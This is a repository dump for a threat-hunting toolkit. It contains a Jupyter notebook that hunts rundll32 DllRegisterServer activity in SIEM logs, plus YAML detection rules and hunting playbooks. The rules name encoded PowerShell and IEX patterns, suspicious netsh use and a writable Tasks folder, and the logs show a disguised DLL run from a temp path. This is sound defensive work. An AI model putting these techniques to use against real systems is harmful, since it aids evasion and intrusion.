"W3sibWFya2Rvd24iOiAiIyMgSHVudGluZyBIeXBvdGhlc2lzIEEyQjogIGh1bnQtcnVuZGxsMzItZGxscmVnaXN0ZXJzZXJ2ZXJcbi0gIEh1bnQgZm9yIHJ1bmRsbDMyLmV4ZSBleGVjdXRpb24gdGhhdCBsb2FkcyB0aGUgRExMIHdpdGggRGxsUmVnaXN0ZXJTZXJ2ZXIgZXhwb3J0IGZ1bmN0aW9uXG4ifSwgeyJjb2RlIjogImltcG9ydCBwYW5kYXMgYXMgcGRcbmltcG9ydCBsb2dnaW5nXG5sb2dnaW5nLmJhc2ljQ29uZmlnKGxldmVsPWxvZ2dpbmcuRVJST1IpXG5cbmZyb20gdml6ci5TVFJWaXpyIGltcG9ydCBTVFJWaXpyXG5mcm9tIG9tZWdhLmNvbnZlcnRlciBpbXBvcnQgU1RST21lZ2FDb252ZXJ0ZXJcbmZyb20gdml6ci5EcmMgaW1wb3J0IERyY1xuIn0sIHsibWFya2Rvd24iOiAiIyMjIENyZWF0ZSBTZWN1cm9uaXggQ2xpZW50XG4ifSwgeyJjb2RlIjogImltcG9ydCBwYW5kYXMgYXMgcGRcbmZyb20gdml6ci5EcmMgaW1wb3J0IERyY1xuXG5jbGllbnQgPSBTVFJWaXpyKGhvc3Q9XCJodHRwczovLyoqcmVkYWN0ZWQqKiouc2VjdXJvbml4Lm5ldC9Tbnlwci9cIiwgdG9rZW49XCIqKipyZWRhY3RlZCoqKlwiKVxudGltZXpvbmUgPSBcIkVTVFwiXG4jc2V0IHRpbWV0YXJhbmdlXG5kdGltZV9mcm9tID0gXCIwOC8wMS8yMDIxIDAwOjAwOjAwXCJcbmR0aW1lX3RvID0gXCIwOC8zMS8yMDIxIDIzOjU5OjU5XCJcbiJ9LCB7ImNvZGUiOiAib21lZ2EgPSBTVFJPbWVnYUNvbnZlcnRlcihcbm9tZWdhX3J1bGVzX2hvbWUgPSAgXCIuL0RlbW8vYXV0by1kcmMvXCIsIFxubWFwcGluZz0gXCIuLi9zdHItb21lZ2EvY29uZmlnL21hcHBpbmcueW1sXCIpXG5cbmEyYl9xdWVyeSA9IG9tZWdhLmNvbnZlcnRCeVVVSUQoXG4gICAgdXVpZCA9IFwiaHVudC1ydW5kbGwzMi1kbGxyZWdpc3RlcnNlcnZlclwiXG4pXG5wcmludChcIlRyYW5zbGF0ZWQgcXVlcnk6XCIpXG5wcmludChhMmJfcXVlcnkpXG4ifSwgeyJjb2RlIjogImRmID0gYXdhaXQgY2xpZW50LnNlYXJjaChcbiAgICBhMmJfcXVlcnksIFxuICAgIHRpbWVfZnJvbT1kdGltZV9mcm9tLCBcbiAgICB0aW1lX3RvPWR0aW1lX3RvXG4pXG5cbmRmID0gZGZbWydkZXN0aW5hdGlvbnByb2Nlc3NuYW1lJywncmVzb3VyY2VjdXN0b21maWVsZDEnLCdzb3VyY2Vwcm9jZXNzbmFtZScsJ3Jlc291cmNlY3VzdG9tZmllbGQyJ11dXG5kZi5jb2x1bW5zID0gWydJbWFnZScsICdDb21tYW5kTGluZScsICdQYXJlbnRJbWFnZScsICdQYXJlbnRDb21tYW5kTGluZSddXG5kZlxuIn0sIHsibWFya2Rvd24iOiAiIyMjIEZpbHRlciBGUFxuIn0sIHsiY29kZSI6ICJwZC5zZXRfb3B0aW9uKCdkaXNwbGF5Lm1heF9yb3dzJywgTm9uZSlcbnBkLnNldF9vcHRpb24oJ2Rpc3BsYXkubWF4X2NvbHVtbnMnLCBOb25lKVxucGQuc2V0X29wdGlvbignZGlzcGxheS53aWR0aCcsIE5vbmUpXG5wZC5zZXRfb3B0aW9uKCdkaXNwbGF5Lm1heF9jb2x3aWR0aCcsIE5vbmUpXG5cbmRmID0gZGZbKGRmWydQYXJlbnRJbWFnZSddICE9ICdmY2Fncy5leGUnKV1cbmRmXG4ifSwgeyJtYXJrZG93biI6ICIjIyMgQ3JlYXRlIGh1bnRpbmcgcnVsZSBmcm9tIHRoaXMgZGZcbiJ9LCB7ImNvZGUiOiAiZHJjID0gRHJjKClcbnJ1bGVfdXVpZCA9IGRyYy5kcmNfZ2VuZXJhdGVfb21lZ2EoZGYsICcuL0RlbW8vYXV0by1kcmMvYXV0by1ydWxlLnltbCcpXG5wcmludChmXCJSdWxlIHdpdGggdXVpZDoge3J1bGVfdXVpZH0gY3JlYXRlZCFcIilcbiJ9LCB7Im1hcmtkb3duIjogIiMjIyBDb252ZXJ0IHJ1bGUgdG8gcXVlcnlcbiJ9LCB7ImNvZGUiOiAib21lZ2EgPSBTVFJPbWVnYUNvbnZlcnRlcihcbm9tZWdhX3J1bGVzX2hvbWUgPSAgXCIuL0RlbW8vYXV0by1kcmMvXCIsIFxubWFwcGluZz0gXCIuLi9zdHItb21lZ2EvY29uZmlnL21hcHBpbmcueW1sXCIpXG5cbmEyYl9xdWVyeSA9IG9tZWdhLmNvbnZlcnRCeVVVSUQoXG4gICAgdXVpZCA9IHJ1bGVfdXVpZFxuKVxucHJpbnQoXCJUcmFuc2xhdGVkIHF1ZXJ5OlwiKVxucHJpbnQoYTJiX3F1ZXJ5KSJ9XQ==\n" 28 | ] 29 | } 30 | ], 31 | "source": [ 32 | "drc = VizrIntegration(\n", 33 | " omega_rules_home = \"Demo/auto-drc\", \n", 34 | " mapping= \"Demo/data/mapping.yml\"\n", 35 | ").buildDRC(\"hunt-rundll32-dllregisterserver\")\n", 36 | "\n", 37 | "pd.set_option(\n", 38 | " 'display.max_colwidth', 100\n", 39 | ")\n", 40 | "print(drc)" 41 | ] 42 | }, 43 | { 44 | "cell_type": "markdown", 45 | "metadata": {}, 46 | "source": [ 47 | "## Hunting Hypothesis A2B: hunt-rundll32-dllregisterserver\n", 48 | "- Hunt for rundll32.exe execution that loads the DLL with DllRegisterServer export function\n" 49 | ] 50 | }, 51 | { 52 | "cell_type": "code", 53 | "execution_count": 3, 54 | "metadata": {}, 55 | "outputs": [], 56 | "source": [ 57 | "import pandas as pd\n", 58 | "import logging\n", 59 | "logging.basicConfig(level=logging.ERROR)\n", 60 | "\n", 61 | "from vizr.STRVizr import STRVizr\n", 62 | "from omega.converter import STROmegaConverter\n", 63 | "from vizr.Drc import Drc\n" 64 | ] 65 | }, 66 | { 67 | "cell_type": "markdown", 68 | "metadata": {}, 69 | "source": [ 70 | "### Create Securonix Client\n" 71 | ] 72 | }, 73 | { 74 | "cell_type": "code", 75 | "execution_count": 4, 76 | "metadata": {}, 77 | "outputs": [], 78 | "source": [ 79 | "import pandas as pd\n", 80 | "from vizr.Drc import Drc\n", 81 | "\n", 82 | "client = STRVizr(host=\"https://**redacted***.securonix.net/Snypr/\", token=\"***redacted***\")\n", 83 | "timezone = \"EST\"\n", 84 | "#set timetarange\n", 85 | "dtime_from = \"08/01/2021 00:00:00\"\n", 86 | "dtime_to = \"08/31/2021 23:59:59\"\n" 87 | ] 88 | }, 89 | { 90 | "cell_type": "code", 91 | "execution_count": 5, 92 | "metadata": {}, 93 | "outputs": [ 94 | { 95 | "name": "stdout", 96 | "output_type": "stream", 97 | "text": [ 98 | "Translated query:\n", 99 | "rg_functionality = \"Endpoint Management Systems\" AND baseeventid = \"1\" AND resourcecustomfield8 ENDS WITH \"rundll32.exe\" AND resourcecustomfield1 CONTAINS \"DllRegisterServer\"\n" 100 | ] 101 | } 102 | ], 103 | "source": [ 104 | "omega = STROmegaConverter(\n", 105 | "omega_rules_home = \"./Demo/auto-drc/\", \n", 106 | "mapping= \"../str-omega/config/mapping.yml\")\n", 107 | "\n", 108 | "a2b_query = omega.convertByUUID(\n", 109 | " uuid = \"hunt-rundll32-dllregisterserver\"\n", 110 | ")\n", 111 | "print(\"Translated query:\")\n", 112 | "print(a2b_query)\n" 113 | ] 114 | }, 115 | { 116 | "cell_type": "code", 117 | "execution_count": 6, 118 | "metadata": {}, 119 | "outputs": [ 120 | { 121 | "data": { 122 | "text/html": [ 123 | "
\n", 124 | "\n", 137 | "\n", 138 | " \n", 139 | " \n", 140 | " \n", 141 | " \n", 142 | " \n", 143 | " \n", 144 | " \n", 145 | " \n", 146 | " \n", 147 | " \n", 148 | " \n", 149 | " \n", 150 | " \n", 151 | " \n", 152 | " \n", 153 | " \n", 154 | " \n", 155 | " \n", 156 | " \n", 157 | " \n", 158 | " \n", 159 | " \n", 160 | " \n", 161 | " \n", 162 | " \n", 163 | " \n", 164 | " \n", 165 | " \n", 166 | " \n", 167 | " \n", 168 | " \n", 169 | " \n", 170 | " \n", 171 | " \n", 172 | " \n", 173 | " \n", 174 | " \n", 175 | " \n", 176 | " \n", 177 | " \n", 178 | " \n", 179 | " \n", 180 | " \n", 181 | " \n", 182 | " \n", 183 | " \n", 184 | " \n", 185 | " \n", 186 | " \n", 187 | " \n", 188 | " \n", 189 | " \n", 190 | " \n", 191 | " \n", 192 | " \n", 193 | " \n", 194 | " \n", 195 | " \n", 196 | " \n", 197 | " \n", 198 | " \n", 199 | " \n", 200 | " \n", 201 | " \n", 202 | " \n", 203 | " \n", 204 | " \n", 205 | " \n", 206 | " \n", 207 | " \n", 208 | " \n", 209 | " \n", 210 | " \n", 211 | " \n", 212 | " \n", 213 | " \n", 214 | " \n", 215 | " \n", 216 | " \n", 217 | " \n", 218 | " \n", 219 | " \n", 220 | " \n", 221 | " \n", 222 | " \n", 223 | " \n", 224 | " \n", 225 | " \n", 226 | " \n", 227 | " \n", 228 | " \n", 229 | " \n", 230 | " \n", 231 | " \n", 232 | " \n", 233 | "
ImageCommandLineParentImageParentCommandLine
0rundll32.exec:\\windows\\system32\\rundll32.exe c:\\users\\zryan\\appdata\\local\\temp\\MsMpEng.dll,DllRegisterServerwermgr.exec:\\windows\\system32\\wermgr.exe
1rundll32.exec:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServerfcags.exeC:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe
2rundll32.exec:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServerfcags.exeC:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe
3rundll32.exec:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServerfcags.exeC:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe
4rundll32.exec:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServerfcags.exeC:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe
5rundll32.exec:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServerfcags.exeC:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe
6rundll32.exec:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServerfcags.exeC:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe
7rundll32.exec:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServerfcags.exeC:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe
8rundll32.exec:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServerfcags.exeC:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe
9rundll32.exec:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServerfcags.exeC:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe
10rundll32.exec:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServerfcags.exeC:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe
11rundll32.exec:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServerfcags.exeC:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe
\n", 234 | "
" 235 | ], 236 | "text/plain": [ 237 | " Image \\\n", 238 | "0 rundll32.exe \n", 239 | "1 rundll32.exe \n", 240 | "2 rundll32.exe \n", 241 | "3 rundll32.exe \n", 242 | "4 rundll32.exe \n", 243 | "5 rundll32.exe \n", 244 | "6 rundll32.exe \n", 245 | "7 rundll32.exe \n", 246 | "8 rundll32.exe \n", 247 | "9 rundll32.exe \n", 248 | "10 rundll32.exe \n", 249 | "11 rundll32.exe \n", 250 | "\n", 251 | " CommandLine \\\n", 252 | "0 c:\\windows\\system32\\rundll32.exe c:\\users\\zryan\\appdata\\local\\temp\\MsMpEng.dll,DllRegisterServer \n", 253 | "1 c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer \n", 254 | "2 c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer \n", 255 | "3 c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer \n", 256 | "4 c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer \n", 257 | "5 c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer \n", 258 | "6 c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer \n", 259 | "7 c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer \n", 260 | "8 c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer \n", 261 | "9 c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer \n", 262 | "10 c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer \n", 263 | "11 c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer \n", 264 | "\n", 265 | " ParentImage ParentCommandLine \n", 266 | "0 wermgr.exe c:\\windows\\system32\\wermgr.exe \n", 267 | "1 fcags.exe C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe \n", 268 | "2 fcags.exe C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe \n", 269 | "3 fcags.exe C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe \n", 270 | "4 fcags.exe C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe \n", 271 | "5 fcags.exe C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe \n", 272 | "6 fcags.exe C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe \n", 273 | "7 fcags.exe C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe \n", 274 | "8 fcags.exe C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe \n", 275 | "9 fcags.exe C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe \n", 276 | "10 fcags.exe C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe \n", 277 | "11 fcags.exe C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe " 278 | ] 279 | }, 280 | "execution_count": 6, 281 | "metadata": {}, 282 | "output_type": "execute_result" 283 | } 284 | ], 285 | "source": [ 286 | "df = await client.search(\n", 287 | " a2b_query, \n", 288 | " time_from=dtime_from, \n", 289 | " time_to=dtime_to\n", 290 | ")\n", 291 | "\n", 292 | "df = df[['destinationprocessname','resourcecustomfield1','sourceprocessname','resourcecustomfield2']]\n", 293 | "df.columns = ['Image', 'CommandLine', 'ParentImage', 'ParentCommandLine']\n", 294 | "df\n" 295 | ] 296 | }, 297 | { 298 | "cell_type": "markdown", 299 | "metadata": {}, 300 | "source": [ 301 | "### Filter FP\n" 302 | ] 303 | }, 304 | { 305 | "cell_type": "code", 306 | "execution_count": 7, 307 | "metadata": {}, 308 | "outputs": [ 309 | { 310 | "data": { 311 | "text/html": [ 312 | "
\n", 313 | "\n", 326 | "\n", 327 | " \n", 328 | " \n", 329 | " \n", 330 | " \n", 331 | " \n", 332 | " \n", 333 | " \n", 334 | " \n", 335 | " \n", 336 | " \n", 337 | " \n", 338 | " \n", 339 | " \n", 340 | " \n", 341 | " \n", 342 | " \n", 343 | " \n", 344 | " \n", 345 | "
ImageCommandLineParentImageParentCommandLine
0rundll32.exec:\\windows\\system32\\rundll32.exe c:\\users\\zryan\\appdata\\local\\temp\\MsMpEng.dll,DllRegisterServerwermgr.exec:\\windows\\system32\\wermgr.exe
\n", 346 | "
" 347 | ], 348 | "text/plain": [ 349 | " Image \\\n", 350 | "0 rundll32.exe \n", 351 | "\n", 352 | " CommandLine \\\n", 353 | "0 c:\\windows\\system32\\rundll32.exe c:\\users\\zryan\\appdata\\local\\temp\\MsMpEng.dll,DllRegisterServer \n", 354 | "\n", 355 | " ParentImage ParentCommandLine \n", 356 | "0 wermgr.exe c:\\windows\\system32\\wermgr.exe " 357 | ] 358 | }, 359 | "execution_count": 7, 360 | "metadata": {}, 361 | "output_type": "execute_result" 362 | } 363 | ], 364 | "source": [ 365 | "pd.set_option('display.max_rows', None)\n", 366 | "pd.set_option('display.max_columns', None)\n", 367 | "pd.set_option('display.width', None)\n", 368 | "pd.set_option('display.max_colwidth', None)\n", 369 | "\n", 370 | "df = df[(df['ParentImage'] != 'fcags.exe')]\n", 371 | "df\n" 372 | ] 373 | }, 374 | { 375 | "cell_type": "markdown", 376 | "metadata": {}, 377 | "source": [ 378 | "### Create hunting rule from this df\n" 379 | ] 380 | }, 381 | { 382 | "cell_type": "code", 383 | "execution_count": 8, 384 | "metadata": {}, 385 | "outputs": [ 386 | { 387 | "name": "stdout", 388 | "output_type": "stream", 389 | "text": [ 390 | "Rule with uuid: 74646cd5-021e-43f1-95ac-2978a2f4eaaa created!\n" 391 | ] 392 | } 393 | ], 394 | "source": [ 395 | "drc = Drc()\n", 396 | "rule_uuid = drc.drc_generate_omega(df, './Demo/auto-drc/auto-rule.yml')\n", 397 | "print(f\"Rule with uuid: {rule_uuid} created!\")\n" 398 | ] 399 | }, 400 | { 401 | "cell_type": "markdown", 402 | "metadata": {}, 403 | "source": [ 404 | "### Convert rule to query\n" 405 | ] 406 | }, 407 | { 408 | "cell_type": "code", 409 | "execution_count": 9, 410 | "metadata": {}, 411 | "outputs": [ 412 | { 413 | "name": "stdout", 414 | "output_type": "stream", 415 | "text": [ 416 | "Translated query:\n", 417 | "(rg_functionality = \"Endpoint Management Systems\" AND baseeventid = \"1\") AND (resourcecustomfield8 CONTAINS \"rundll32.exe\" OR (resourcecustomfield1 CONTAINS \"c:\\windows\\system32\\rundll32.exe\" AND resourcecustomfield1 CONTAINS \"appdata\\local\\temp\\MsMpEng.dll,DllRegisterServer\") OR resourcecustomfield7 CONTAINS \"wermgr.exe\" OR resourcecustomfield2 CONTAINS \"c:\\windows\\system32\\wermgr.exe\")\n" 418 | ] 419 | } 420 | ], 421 | "source": [ 422 | "omega = STROmegaConverter(\n", 423 | "omega_rules_home = \"./Demo/auto-drc/\", \n", 424 | "mapping= \"../str-omega/config/mapping.yml\")\n", 425 | "\n", 426 | "a2b_query = omega.convertByUUID(\n", 427 | " uuid = rule_uuid\n", 428 | ")\n", 429 | "print(\"Translated query:\")\n", 430 | "print(a2b_query)" 431 | ] 432 | }, 433 | { 434 | "cell_type": "code", 435 | "execution_count": null, 436 | "metadata": {}, 437 | "outputs": [], 438 | "source": [] 439 | } 440 | ], 441 | "metadata": { 442 | "kernelspec": { 443 | "display_name": "Python 3", 444 | "language": "python", 445 | "name": "python3" 446 | }, 447 | "language_info": { 448 | "codemirror_mode": { 449 | "name": "ipython", 450 | "version": 3 451 | }, 452 | "file_extension": ".py", 453 | "mimetype": "text/x-python", 454 | "name": "python", 455 | "nbconvert_exporter": "python", 456 | "pygments_lexer": "ipython3", 457 | "version": "3.8.1" 458 | } 459 | }, 460 | "nbformat": 4, 461 | "nbformat_minor": 4 462 | } 463 | -------------------------------------------------------------------------------- /omega/examples/detection1.yml: -------------------------------------------------------------------------------- 1 | title: Suspicious Encoded PowerShell Command Line 2 | description: Detects suspicious powershell process starts with base64 encoded commands 3 | 4 | logsource: 5 | category: process_creation 6 | product: windows 7 | detection: 8 | selection1: 9 | CommandLine|contains: ' -e' # covers -en and -enc 10 | selection2: 11 | CommandLine|contains: 12 | - ' jab' #$ 13 | - ' sqbfafga' #IEX 14 | condition: all of selection* 15 | level: high -------------------------------------------------------------------------------- /omega/examples/detection4.yml: -------------------------------------------------------------------------------- 1 | title: Suspicious netsh Commands 2 | description: Detects suspicious obfuscated netsh commands 3 | 4 | logsource: 5 | category: process_creation 6 | product: windows 7 | detection: 8 | selection: 9 | #Image|endswith: 'certutil.exe' 10 | CommandLine|contains: 11 | - '/f' 12 | - '-f' 13 | condition: selection 14 | level: high -------------------------------------------------------------------------------- /omega/examples/drc-EDR-SYM120-RUN.yml: -------------------------------------------------------------------------------- 1 | title: Suspicious Execution From Tasks Folder 2 | description: Detects execution from C:\Windows\Tasks folder 3 | uuid: EDR-SYM120-RUN 4 | 5 | logsource: 6 | category: process_creation 7 | product: windows 8 | detection: 9 | selection: 10 | Image|startswith: 11 | - 'C:\Windows\Tasks\' 12 | condition: selection 13 | level: high 14 | 15 | DRC: 16 | - markdown: | 17 | ## Hunting Hypothesis A2B: EDR-SYM120-RUN 18 | - Task Scheduler stores tasks as C:\Windows\Tasks and this folder is writable by everyone. 19 | - Malicious actor can drop and run executable in to this folder. 20 | 21 | - code: | 22 | #drc 23 | from omega.converter import STROmegaConverter 24 | 25 | omega = STROmegaConverter( 26 | omega_detections_home = "Demo/data/tony/", 27 | mapping= "../str-omega/config/mapping.yml") 28 | 29 | a2b_query = omega.convertByUUID( 30 | uuid = "EDR-SYM120-RUN" 31 | ) 32 | print("Translated query:") 33 | print(a2b_query) 34 | 35 | 36 | 37 | - markdown: | 38 | ### Create Securonix client and execute hunting query 39 | 40 | - code: | 41 | #drc 42 | from vizr.STRVizr import STRVizr 43 | from vizr.decode import VizrDecode 44 | from IPython.display import display, HTML 45 | import logging 46 | logging.basicConfig(level=logging.ERROR) 47 | 48 | client = STRVizr(host="https://**redacted***.securonix.net/Snypr/", token="***redacted***") 49 | timezone = "EST" 50 | 51 | dtime_from = "07/04/2021 00:00:00" 52 | dtime_to = "07/07/2021 23:59:59" 53 | 54 | df = await client.search( 55 | a2b_query, 56 | time_from=dtime_from, 57 | time_to=dtime_to 58 | ) 59 | 60 | df[['datetime' ,'destinationprocessname', 'resourcecustomfield8', 'accountname', 'sourcehostname']] 61 | 62 | - markdown: | 63 | ### Show unique combination of host/user/logon_session 64 | - code: | 65 | #drc 66 | grouped_df = df.groupby(['sourcehostname','devicecustomstring4','destinationusername'])\ 67 | .size()\ 68 | .reset_index()\ 69 | .rename(columns={0:'count'}) 70 | grouped_df 71 | - code: | 72 | #drc 73 | #select host/logon_session 74 | row = 0 75 | host = grouped_df.iloc[row]['sourcehostname'] 76 | logon_session = grouped_df.iloc[row]['devicecustomstring4'] 77 | print(f"Selected host: {host} logon_session:{logon_session}") 78 | - code: | 79 | #drc 80 | #collect all events(eid=1) for given host/logon_session to build process tree 81 | query = '''rg_functionality = "Endpoint Management Systems" AND baseeventid = 1 AND sourcehostname = %s AND devicecustomstring4 = %s''' % (host, logon_session) 82 | 83 | all_df = await client.search(query, 84 | time_from=dtime_from, 85 | time_to=dtime_to) 86 | display(all_df.shape) 87 | display(all_df[['sourcehostname', 'devicecustomstring4', 'destinationprocessname', 'sourceprocessname', 'deviceexternalid', 'flowsiemid', 'resourcecustomfield2']].head(5)) 88 | 89 | - markdown: | 90 | ## Build Process Tree Graph For sessionid's 91 | - include: build_process_tree_template_01 92 | - markdown: | 93 | ### Show all PowerShell executions with encoded commands. 94 | - code: | 95 | #drc 96 | cmdline = all_df[ 97 | (all_df['sourcehostname'] == host) 98 | & (all_df['devicecustomstring4'] == logon_session) 99 | & (all_df['destinationprocessname'] == 'powershell.exe') 100 | ]['resourcecustomfield1'].item() 101 | 102 | with pd.option_context('display.max_rows', None, 'display.max_columns', None): # more options can be specified also 103 | display(cmdline) 104 | print("\nDecoded: \n") 105 | display(VizrDecode.base64decode(cmdline)) 106 | - markdown: | 107 | ### Show all PowerShell executions with JAB in command line. 108 | - code: | 109 | #drc 110 | query = '''rg_functionality = "Endpoint Management Systems" AND baseeventid = 1 AND resourcecustomfield1 CONTAINS " JAB" AND destinationprocessname = "powershell.exe"''' 111 | ps_df = await client.search( 112 | query, 113 | time_from=dtime_from, 114 | time_to=dtime_to 115 | ) 116 | 117 | ps_df[['datetime', 'sourcehostname', 'destinationusername','resourcecustomfield1']] 118 | - markdown: | 119 | ### Decode PowerShell commands 120 | - code: | 121 | #drc 122 | df = ps_df.copy() 123 | df = VizrDecode.base64decode_df(df,'resourcecustomfield1', 'decoded') 124 | 125 | import re 126 | def obfuscate(x): 127 | if len(x) > 500: 128 | return "-" 129 | return re.sub(r'(.*?githubusercontent.com/).*(/tooling.*?)', r'\1***redacted***\2', x) 130 | 131 | df['decoded'] = df.apply(lambda row: obfuscate(row['decoded']), axis=1) 132 | 133 | df[['datetime', 'sourcehostname', 'destinationusername', 'decoded']] -------------------------------------------------------------------------------- /omega/examples/drc-app-registration.yml: -------------------------------------------------------------------------------- 1 | # omega - compound/second order attack behavior detection by Securonix 2 | title: Potential Illicit Consent Grant Analytic 3 | uuid: drc-05 4 | description: Potential Illicit Consent Grant Analytic 5 | 6 | omega_securonix_ueba: 7 | snpr_policy: 8 | violator: Activityaccount 9 | category: ALERT 10 | threatname: Suspicious Access Pattern 11 | functionality: cloud 12 | 13 | logsource: 14 | category: cloud #process_creation 15 | product: azure #windows 16 | detection: 17 | selection: 18 | OperationName: 'Consent to application' 19 | condition: selection 20 | 21 | DRC: 22 | - markdown: "## Check inventory apps with access in your organization" 23 | - code: | 24 | #drc 25 | from vizr.azure.base import Azure 26 | - markdown: | 27 | ## Enter client_id, tenant_id, secret 28 | - code: | 29 | #drc 30 | az = Azure( 31 | client_id = "**redacted**", 32 | tenant_id = "**redacted**", 33 | secret = "**redacted**" 34 | ) 35 | - markdown: | 36 | ## Run cells below and review: 37 | - In the ConsentType search for the value "AllPrinciples". The AllPrincipals permission allows the client application to access everyone's content in the tenancy. Native Microsoft 365 applications need this permission to work correctly. Every non-Microsoft application with this permission should be reviewed carefully. 38 | 39 | - In the Permission column (column F) review the permissions that each delegated application has to content. Look for \"Read\" and \"Write\" permission or \"*.All\" permission, and review these carefully because they may not be appropriate. 40 | - markdown: | 41 | ## Delegated Permission Grants 42 | - code: | 43 | #drc 44 | pd.set_option( 45 | 'display.max_colwidth', 100 46 | ) 47 | az.getDelegatedOauth2PermissionGrants() 48 | df = az.getDelegatedOauth2PermissionGrants() 49 | df 50 | - markdown: | 51 | ## Application Permission Grants 52 | - code: | 53 | #drc 54 | df = az.getApplicationOauth2PermissionGrants() 55 | df 56 | 57 | 58 | -------------------------------------------------------------------------------- /omega/examples/drc-hunt-rundll32-dllregisterserver.yml: -------------------------------------------------------------------------------- 1 | title: Suspicious DLL Registration With Rundll32 2 | desription: Hunt for rundll32.exe execution that loads the DLL with DllRegisterServer export function 3 | 4 | uuid: hunt-rundll32-dllregisterserver 5 | logsource: 6 | category: process_creation 7 | product: windows 8 | 9 | detection: 10 | selection: 11 | Image|endswith: rundll32.exe 12 | CommandLine|contains: DllRegisterServer 13 | condition: selection 14 | 15 | DRC: 16 | - markdown: | 17 | ## Hunting Hypothesis A2B: hunt-rundll32-dllregisterserver 18 | - Hunt for rundll32.exe execution that loads the DLL with DllRegisterServer export function 19 | - code: | 20 | import pandas as pd 21 | import logging 22 | logging.basicConfig(level=logging.ERROR) 23 | 24 | from vizr.STRVizr import STRVizr 25 | from omega.converter import STROmegaConverter 26 | from vizr.Drc import Drc 27 | 28 | 29 | - markdown: | 30 | ### Create Securonix Client 31 | - code: | 32 | import pandas as pd 33 | from vizr.Drc import Drc 34 | 35 | client = STRVizr(host="https://**redacted***.securonix.net/Snypr/", token="***redacted***") 36 | timezone = "EST" 37 | #set timetarange 38 | dtime_from = "08/01/2021 00:00:00" 39 | dtime_to = "08/31/2021 23:59:59" 40 | - code: | 41 | omega = STROmegaConverter( 42 | omega_detections_home = "./Demo/auto-drc/", 43 | mapping= "../str-omega/config/mapping.yml") 44 | 45 | a2b_query = omega.convertByUUID( 46 | uuid = "hunt-rundll32-dllregisterserver" 47 | ) 48 | print("Translated query:") 49 | print(a2b_query) 50 | - code: | 51 | df = await client.search( 52 | a2b_query, 53 | time_from=dtime_from, 54 | time_to=dtime_to 55 | ) 56 | 57 | df = df[['destinationprocessname','resourcecustomfield1','sourceprocessname','resourcecustomfield2']] 58 | df.columns = ['Image', 'CommandLine', 'ParentImage', 'ParentCommandLine'] 59 | df 60 | - markdown: | 61 | ### Filter FP 62 | - code: | 63 | pd.set_option('display.max_rows', None) 64 | pd.set_option('display.max_columns', None) 65 | pd.set_option('display.width', None) 66 | pd.set_option('display.max_colwidth', None) 67 | 68 | df = df[(df['ParentImage'] != 'fcags.exe')] 69 | df 70 | - markdown: | 71 | ### Create detection from this df 72 | - code: | 73 | drc = Drc() 74 | detection_uuid = drc.drc_generate_omega(df, './Demo/auto-drc/auto-detection.yml') 75 | print(f"Detection with uuid: {detection_uuid} created!") 76 | - markdown: | 77 | ### Convert detection to query 78 | - code: | 79 | omega = STROmegaConverter( 80 | omega_detections_home = "./Demo/auto-drc/", 81 | mapping= "../str-omega/config/mapping.yml") 82 | 83 | a2b_query = omega.convertByUUID( 84 | uuid = detection_uuid 85 | ) 86 | print("Translated query:") 87 | print(a2b_query) -------------------------------------------------------------------------------- /omega/examples/drc_snippets_tempate.yml: -------------------------------------------------------------------------------- 1 | title: DRC snippets 2 | uuid: DRC_snippets_93d43e52-f02c-4468-b097-511b56f4211e 3 | 4 | DRC: 5 | - 6 | uuid: build_process_tree_template_01 7 | code: | 8 | #drc snippets 9 | from pyvis import network as net 10 | import networkx as nx 11 | 12 | process_tree_nodes = all_df.copy() 13 | process_tree_nodes = process_tree_nodes[ 14 | (process_tree_nodes['sourcehostname'] == host) 15 | & 16 | (process_tree_nodes['devicecustomstring4'] == logon_session) 17 | ] 18 | 19 | G=nx.DiGraph() 20 | 21 | def create_graph(row): 22 | #parent meta 23 | parent_meta = "\ 24 | LogonID: {}/{}
\ 25 | Account: {}
\ 26 | PID: {}
\ 27 | CommandLine: {}
\ 28 | GUID: {}
